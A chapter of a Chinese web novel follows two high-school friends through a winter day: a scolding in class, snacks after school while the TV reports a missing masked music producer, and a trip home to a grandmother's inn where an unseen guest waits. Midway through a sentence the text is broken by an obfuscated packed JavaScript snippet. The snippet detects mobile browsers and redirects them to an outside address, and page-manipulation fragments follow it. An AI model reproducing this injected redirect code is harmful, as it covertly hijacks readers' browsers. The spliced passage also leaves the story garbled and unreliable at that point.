那年冬天来得格外早，严寒比以往持续更久。
学校暖气很足，课堂上姜柚见昏昏欲睡，唯独同桌叶若精神抖擞，趁着语文老师回头写板书之际，轻轻用手中碰了碰她。
姜柚见回过神，掀起眼皮，对此司空见惯，看向叶若，无声问：怎么了？
叶若眉飞色舞，压低声音，“给你看个好东西。”
只见对方非常珍重小心地拿出一本叫《影音风尚》的杂志，上面好巧不巧，正是叶若最近最迷恋的新生代男团里一个长相俊美的少年。
叶若是个对一切都很感兴趣的人，除了学习。
姜柚见趁着老师转身板书之际，飞快瞟了一眼封面上那个将叶若迷得神魂颠倒的男人。
不禁白眼一翻。
敢情叫大伙出来就为这点事儿啊！
叶若双眼放光，爱惜地抚摸着封面上的白皙脸蛋，“你说我们零仁怎么能长这么帅啊……鹤立鸡群的帅，让人能一眼在一众明星中就看中他。”
零仁是一个叫Zero的男子组合里面的队长，人气很高，姜柚见对帅哥没什么研究，也能一眼辨认出零仁的脸放眼娱乐圈都是断层级别的。
“柚见！你看你看！他的鼻子长得好灵巧，应该很滑吧……”
姜柚见本来想提醒她，班主任课上别太得意忘形，可听到这比喻，脑海里不禁浮现了零仁好看的鼻子，变成幼儿园的象鼻滑梯的诡异景象……
就在这唯一走神的功夫。
“姜柚见！”一道严厉的目光射来，李碧华暂时压着怒火，平静道，“站起来说说我刚讲过的第三道题选什么？”
身旁，叶若早已把杂志藏进桌箱，双手交叠，挺胸抬头，安静如鸡。
不知道现实生活是不是有什么bug，始作俑者大发花痴的时候永远不会被老师逮到，反倒是姜柚见一走神就会被抓包。
幸好幸好，姜柚见镇定起身，扫了一眼，“选C选项……”
简短说了下思路，正准备功成身退坐下，谁知老师脸色更黑了。
“姜柚见，这道题还没讲到……”老师的声音幽幽响起。
完了，被诈了。
李碧红将试卷往讲桌上一扔，腾出手叉腰：“上课不专心听讲，高三的学生了还整天看那闲书！今天下午放学，留下来打扫教室卫生。”
冤枉啊……虽然不全冤。
姜柚见正欲自认倒霉，谁知刚才还缩成一团的叶若竟然突然“腾”一下站了起来，主动说：
“老师，都是我的错，我主动找柚见的，罚我吧。”
李碧华见到这景象，倒也没觉得稀奇，放下手中的试卷走了下来。
姜柚见在桌子底下轻轻踢了踢叶若的小腿，示意她闭嘴，这种事少罚一个是一个。
不过，这也是叶若的可爱之处，虽然成天不务正业，但是很讲义气。
“难兄难弟是吧，你也跑不了，放学和姜柚见一起扫，”话音刚落，李碧华余光扫了一眼户外，补了句，“连篮球场的一起。”
话音刚落，李碧华身形一闪，反应过来时为时已晚，那本没开封的《影音风尚》已经被李碧华轻巧抽了出来，淡淡说了句“没收了”。
叶若的大义凛然瞬间破功，看着零仁好看的脸被粗暴地折叠起来，欲哭无泪。
放学后，天色已经暗了。
雪越下越大，整个校园被压得寂静无声，只有篮球场那几盏老旧的路灯在风里摇晃。
天色暗下后学校幽深很符合易一些恐怖场景，让人浮想联翩，自己吓自己。
幸好有叶若陪着，姜柚见打了盆水擦黑板，下周要放假，放学暖气停了，温度散尽，双手一碰水就冻得通红，湿毛巾在手里几乎感知不到。
叶若裹着围巾，呼出一口白气，边扫边像个老头似的叹气：
“我们家零仁好不容易登一次封面，脸都没看两眼，悔啊……”
姜柚见笑着回她一句：“放心，你们家零仁会上更多封面的，下周估计老李就能把杂志还你。”
“老李不会这么仁慈的……”
这句话刚脱口而出，长廊传来了脚步声，原本应该早已下班的李碧华出现在门口：
“那啥，天太冷了，别扫了，赶紧回家吧。”
她俩面面厮觑，下一秒，眉开眼笑。
道谢声不绝于耳，李碧华不耐烦地摆摆手：“赶紧收拾书包走吧，最近可能有暴雪，路上小心。”
两人马不停特走出校门，生怕晚一秒被李碧华反悔叫回去。
一出校门，两人直奔对面小卖部买麻辣煮串，热乎乎的，很够味，放学买一碗捧在手心正好取暖。
老板缩在煤炉后烤火，电视机的雪花屏里隐约还能听到娱乐新闻：
“……目前，针对天才制作人奚临失踪一事的搜寻已陷入僵局。这位自出道起便从未公开真容、始终以面具或剪影示人的乐坛隐士，其行踪已成本月最大谜团……”
“知情人爆料其带走了未公开的样带，其所属公司将面临巨额损失，已派人前往全国各地可能的隐居点。”
“有粉丝声称在成田机场目击疑似奚临的身影登上飞往伦敦的航班，但也有乐评人坚信他从未回国，正闭关在多伦多的私人录音室。”
……
“这算什么目击啊？”
叶若气呼呼地咬了一口魔芋丝，听着电视里的描述，忍不住吐槽道，“外界就没人见过奚临的真容，穿个黑色帽衫就是奚临了？这些狗仔就会捕风捉影！”
气愤中，红油钻进鼻腔，把她辣的满脸通红，“啊……”
姜柚见没说话，点头附和，咬了一口被汤汁浸透的冻豆腐，辛辣直冲天灵盖，让她因寒冷而发僵的身体恢复了一点知觉。
零仁好歹还能认出来，受到了叶若的影响，奚临她就真的没听过了。
老板抄起火钳拨弄了一下煤炉里的红炭，火星噼啪跳跃，念叨道：
“这些大明星，活得跟保护动物似的，还能说丢就丢了。这个冬天这么冷，连老鼠都得冻死在洞里，他能跑哪去？”
叶若捧着那碗热气腾腾的麻辣串，脸蛋被熏得通红，不知是因为辣还是因为兴奋：“老板，您不懂！奚临这种天才，肯定是在寻找灵感！我还攒钱等着买他的新专辑！”
姜柚见用手肘捅捅她，“你不是喜欢零仁吗？这会儿移情别恋了？”
“我可是全能型追星美少女，”叶若理直气壮地挺起胸膛，顺手抹了一把嘴角的红油。
“零仁是我的本命，是我以后要嫁的人，但奚临……奚临那是神迹，是我得不到的白月光，他的曲和词都写得太绝了，这算艺术审美，不冲突！”
“作为骊镇上唯一的‘流行文化传播大使’，我有义务关注每一个天才的陨落与升起！”
姜柚见着叶若那副慷慨激昂的样子，忍不住递上一张粗糙的草纸，“大使，请擦嘴。”
身后，寒风掀起，雪下得愈发急了，天际线被远处的山脉吞噬，视野里只剩下那盏孤零零、在风中不安晃动的路灯。
“大使，再不走你妈该拿着扫帚来传播传统文化了。”姜柚见好心提醒道。
叶若“哎呀”一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271569|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声，这才回过神来，“走走走！赶紧回家！”
雪片大得像是鹅毛，又密又急，打在脸上生疼。刚才小卖部那点麻辣串的热气，很快就被这肆虐的风雪驱散得一干二净。
“今天的雪，老天爷是下了血本了啊……”叶若顶着风雪艰难开口，声音被风吹得有些模糊。
两人紧紧地挤在一起，试图抵御这突如其来的严寒。
姜柚见用围巾裹紧了半张脸，只露出眼睛。
她看着眼前那片模糊不清的白茫茫，路边的枯树在风中剧烈摇晃，发出剧烈的声响，仿佛随时都会被连根拔起。
家家户户都紧闭着门窗，偶尔从窗户里透出的灯光，也因为积雪和风沙显得影影绰绰。
“是啊。”姜柚见呼出一口白气，很快就被风吹散，“外婆说，这可能会是三十年来最大的降雪。”
待风小了，两人靠着屋檐下行走避雪。
“柚见，你说……奚临他现在会在哪里呢？”叶若突然又提起了那个名字，猜测道，“他会不会被冻死在哪个荒无人烟的地方啊……”
“还想这事儿呢……”
姜柚见险些背过气去，现在追星族都这么敬业啊。
她认真推测：“这种人如果真有心躲起来，应该不会想让任何人找到吧。”
叶若有些沮丧地跟了上去，“……也是。”
下周大雪封路，学校放假，两人站在姜柚见家门口，舍不得说再见，尽管也就一周不见。
叶若打开书包，将一块银色包装的块状物放到姜柚见手里，不放心地叮嘱道：
“我姐给我的巧克力，老金贵了，先提前藏好了半夜再吃，别让你表弟看到，到时候你又要让给他。”
“我给你的东西，不准让给他，听到了没有？”
姜柚见低头看向掌心，比普通巧克力更有重量，在这个连买本杂志都要去县城的小镇，这种精巧的甜食确实是一种奢侈品。
“知道了，我肯定偷着吃，连包装纸都毁尸灭迹。”姜柚见立刻摘下书包，把巧克力塞到最里面。
“这还差不多！”叶若吸了吸冻得通红的鼻子，用力挥了挥手，“记住了啊，下周要是雪停了，我就去你家找你！给你听奚临的专辑，我们一起给零仁多写应援信去！”
叶若的身影很快就消失在漫天席卷的白毛大雪中，只剩下深浅不一的脚印，在几秒钟内就被新落的雪花填平。
风雪在耳畔疯狂嘶吼，书包夹层那块巧克力很有存在感。
回到惜春旅馆时，黑暗早已降临。
屋内也是漆黑一片，镇上的供电系统很不稳定，一到刮风下雨就出状况。
整座老旧的木质旅馆像是匍匐在山脚的一条老狗，唯有柜台上一点如豆的煤油灯光，在寒风中摇曳着外婆苍老的身影。
“柚见？快，把这壶刚灌的热水给顶楼送去。”外婆苍老的声音从黑暗里传来，带着一丝掩不住的忧虑，“那客人下午就没动静了，这天寒地冻的，暖气也不好使，可别在咱们这儿冻出个好歹。”
姜柚见应了一声，赶紧放下书包，提起热水壶。
她摸黑踏上那架吱呀作响的独立木梯，凭借肌肉记忆上楼。
往日楼道都是老房子陈旧的木头味，今日却夹杂了带些微苦的松木香，顺着楼梯，若有似无地缠绕。
这大概是陌生人带来的气息。
这个旅馆，好久没人来了。
或许说，这个小镇……
新客人她还未见过，而此时，那人正与这场三十年一遇的暴雪在这个远离俗世的小镇共枕。